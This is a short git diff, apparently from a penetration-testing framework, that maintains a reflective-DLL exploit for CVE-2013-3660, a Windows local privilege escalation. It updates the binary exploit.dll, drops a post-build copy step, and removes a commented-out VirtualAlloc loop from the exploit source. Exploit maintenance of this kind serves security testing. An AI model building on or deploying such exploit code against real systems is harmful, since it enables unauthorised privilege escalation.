diff --git a/data/exploits/cve-2013-3660/exploit.dll b/data/exploits/cve-2013-3660/exploit.dll
index 706e1e1d24..cbb761b568 100755
Binary files a/data/exploits/cve-2013-3660/exploit.dll and b/data/exploits/cve-2013-3660/exploit.dll differ
diff --git a/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj
index 1aae9cb3e1..ed6cacb681 100755
--- a/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj
+++ b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj
@@ -191,7 +191,8 @@
MachineX86
- copy ..\Release\reflective_dll.dll ..\bin\
+
+
diff --git a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDll.c b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDll.c
index 29a70cc393..547fd1fd85 100755
--- a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDll.c
+++ b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDll.c
@@ -633,10 +633,6 @@ VOID elevator_complex_path()
PAGE_SIZE * 2,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE)) {
- //while (!VirtualAlloc(*DispatchRedirect & ~(0x1000 - 1),
- // 0x1000 * 2,
- // MEM_COMMIT | MEM_RESERVE,
- // PAGE_EXECUTE_READWRITE)) {
LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x",
*DispatchRedirect & ~(PAGE_SIZE - 1),